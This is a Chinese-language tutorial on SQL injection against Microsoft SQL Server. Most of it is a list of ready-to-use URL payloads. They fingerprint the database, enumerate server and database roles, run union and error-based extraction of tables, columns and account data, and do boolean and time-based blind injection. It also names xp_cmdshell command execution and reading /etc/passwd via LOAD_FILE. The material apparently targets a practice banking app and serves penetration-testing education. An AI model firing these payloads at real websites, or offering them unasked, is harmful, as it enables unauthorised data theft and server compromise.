WEB安全--SQL注入--MSSQL注入
一、SQLsever知识点了解
1.1、系统变量
版本号:@@version
用户名:USER、SYSTEM_USER
库名:DB_NAME()
SELECT name FROM master..sysdatabases
表名:SELECT name FROM sysobjects WHERE xtype='U'
字段名:SELECT name FROM syscolumns WHERE id=OBJECT_ID('table')
1.2、TOP
MSSQL中的TOP关键字相当于MySQL中的limit
//MSSQL
SELECT TOP 1 column FROM table --返回第一行数据
//MySQL
SELECT column FROM table LIMIT 1 --返回第一行数据
1.3、字符串拼接
MSSQL中的"+"的作用相当于MySQL中的concat()函数
//MSSQL
'a' + CAST(column AS VARCHAR)
//MySQL
CONCAT('a', column)
1.4、延时
MSSQL中的 WAITFOR DELAY 的作用相当于MySQL中的sleep()函数
//MSSQL
IF(1=1) WAITFOR DELAY '0:0:5'
//MySQL
IF(1=1, SLEEP(5), 0)
1.5、其他注意点
单行注释:MSSQL 中 --
后必须加空格,否则有时解析失败
堆叠语句:MSSQL默认支持堆叠查询
执行命令/读取文件:
MSSQL 注入可配合扩展组件(如 xp_cmdshell
)执行系统命令:
EXEC master..xp_cmdshell 'whoami'
MySQL 通常通过 LOAD_FILE('/etc/passwd')
等方式读取服务器文件
二、SQLsever信息查询
2.1、判断数据库类型
/* sysobjects 为 MSSQL 数据库中独有的数据表,如果页面返回正常即可表示为 MSSQL 数据库 */
?id=1 and (select count(*) from sysobjects)>0 --
/* 通过 MSSQL 数据库中特有的延时函数进行判断 */
?id=1;WAITFOR DELAY '00:00:10'; --
2.2、基本信息
//查询版本信息
SELECT @@VERSION;
//查询当前用户名
SELECT SYSTEM_USER;
SELECT USER_NAME();
//查询数据库名
SELECT DB_NAME();
//查询当前登录的主机名和登录名
SELECT HOST_NAME(), SUSER_NAME();
2.3、库
SELECT name FROM sys.databases;
2.4、表
//这将返回当前数据库中的所有用户表(sys.tables)或者基于 information_schema 的标准查询
SELECT name FROM sys.tables;
or
SELECT name FROM information_schema.tables;
or
SELECT name FROM sysobjects WHERE xtype='U'; --只有表名
2.5、列
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'YourTableName';
or
SELECT name FROM syscolumns WHERE id=OBJECT_ID('table');
2.5、判断当前服务器级别角色(Server-level roles)
SQL Server 2019 和以前的版本提供了 9 个不同级别的服务器级角色以帮助用户管理服务器上的权限:
?id=1 and 1=(select is_srvrolemember('sysadmin'))--
?id=1 and 1=(select is_srvrolemember('serveradmin'))--
?id=1 and 1=(select is_srvrolemember('securityadmin'))--
?id=1 and 1=(select is_srvrolemember('processadmin'))--
?id=1 and 1=(select is_srvrolemember('setupadmin'))--
?id=1 and 1=(select is_srvrolemember('bulkadmin'))--
?id=1 and 1=(select is_srvrolemember('diskadmin'))--
?id=1 and 1=(select is_srvrolemember('dbcreator'))--
?id=1 and 1=(select is_srvrolemember('public'))--
2.6、判断当前数据库级别角色(Database-level roles)
数据库级角色的权限作用域为数据库范围,下表显示了固定数据库角色及其能够执行的操作:
?id=1 and 1=(select IS_ROLEMEMBER('db_owner'))--
?id=1 and 1=(select IS_ROLEMEMBER('db_securityadmin'))--
?id=1 and 1=(select IS_ROLEMEMBER('db_accessadmin'))--
?id=1 and 1=(select IS_ROLEMEMBER('db_backupoperator'))--
?id=1 and 1=(select IS_ROLEMEMBER('db_ddladmin'))--
?id=1 and 1=(select IS_ROLEMEMBER('db_datawriter'))--
?id=1 and 1=(select IS_ROLEMEMBER('db_datareader'))--
?id=1 and 1=(select IS_ROLEMEMBER('db_denydatawriter'))--
2.7、服务器级别角色和数据库级别角色区别
对比项 | 服务器级别角色 | 数据库级别角色 |
---|---|---|
作用范围 | 整个 SQL Server 实例 | 单个数据库 |
控制权限 | 实例级权限:登录管理、数据库创建、配置等 | 数据操作权限:表访问、存储过程执行等 |
示例角色 | sysadmin , serveradmin , securityadmin 等 | db_owner , db_datareader , db_datawriter 等 |
存储在哪 | sys.server_principals , sys.server_role_members | sys.database_principals , sys.database_role_members |
授权对象 | 登录(Login) | 用户(User) |
授权语法 | ALTER SERVER ROLE ... | ALTER ROLE ... |
注入测试中关注点 | 能否提权、开启 xp_cmdshell、读写文件等 | 能否读取数据、修改数据、执行存储过程等 |
三、MSSQL注入手段
3.1、联合注入
方法与一般的 SQL 联合注入相同。值得注意的是,MSSQL 联合注入一般不使用数字占位,而是
NULL
,因为使用数字占位可能会发生隐式转换。
?id=1 union select NULL, NULL ,NULL, NULL, NULL from fsb_users--
?id=1 union select NULL, user_name, NULL, NULL, NULL from fsb_users--
3.2、报错注入
MSSQL 数据库是强类型语言数据库,当类型不一致时将会报错,配合子查询即可实现报错注入。
//表名
?id=1 and 1=(select top 1 name from sysobjects where xtype='u');--
?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts'));--
?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts', 'fsb_fund_transfers'));--
//表中的字段名
?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'fsb_accounts'));--
?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'fsb_accounts') and name<>'account_no');--
?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'fsb_accounts') and name<>'account_no' and name<>'account_type');--
?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'fsb_accounts') and name<>'account_no' and name<>'account_type' and name<>'balance_amount');--
//具体数据
?id=1 and 1=(select top 1 branch from fsb_accounts);--
?id=1 and 1=(select top 1 branch from fsb_accounts where branch<>'Texas-Remington Circle');--
?id=1 and 1=(select top 1 branch from fsb_accounts where branch not in ('Texas-Remington Circle', 'Mahnattan - New york'));--
3.3、布尔盲注
方法与一般的 SQL 布尔盲注相同,使用 ASCII 码逐个比较字符,将返回为 True 的结果输出即可。
?id=-1 or ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1))>97--
3.4、时间盲注
MSSQL 数据库中的
WAITFOR
延时存储过程可以用来时间盲注,当语句执行成功,页面延时返回即为 True。
?id=1;if (select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:2'--
?id=1;if (ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)))>1 WAITFOR DELAY '0:0:2'--